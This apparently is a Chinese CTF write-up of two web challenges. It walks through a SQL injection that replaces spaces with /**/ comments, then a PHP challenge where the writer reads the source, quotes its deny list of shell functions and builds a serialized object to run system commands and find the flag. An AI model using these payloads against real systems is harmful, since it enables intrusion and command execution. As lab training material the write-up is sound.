1.25
ctf.show_web7
首先打开题目

然后点开if发现url地址上出现了?id=1
说明可能存在sql注入
于是我payload:
' or 1=1#
然后得到了
sql inject error
我推测可能是空格被屏蔽了,我单独打一个空格,发现也是得到上述情况。
于是我采用/**/来代替空格
然后进行联合查询:
-1'/**/union/**/select/**/1,2,3#
回显了一个2
说明2是可以直接显示的位置,然后就继续联合查询直到查出flag。
[网鼎杯 2020 朱雀组]phpweb

进入题目,出现了一个warning和一个时间,仔细翻译发现是函数警告。
然后查看源代码,源代码没有什么特殊的。
然后尝试采用bp抓包

发现有个post提交的东西。
联系前面的warning所以推测可能前面的func可能表示的是函数,然后后面的p应该是里面的内容。
首先尝试用system函数
payload如下:
func=system&p=ls /
结果回显
Hacker...
我查到可以用file_get_contents函数来进行文件读取
所以我打算先查看一下原本的源代码:
payload:
func=file_get_contents&p=index.php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
从源代码发现system和passthru都是被屏蔽的,所以没法直接用系统指令,所以我想到了用serialize函数
构造代码
<?php class Test{ var $p = "ls /"; var $func = "system"; } $b = new Test(); echo serialize($b);
?>
得到
O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
然后提交payload

发现没有直接能找到
于是我把指令改成find / -name flag*再去找
然后找到的那个再用cat来读取就好了。

浙公网安备 33010602011771号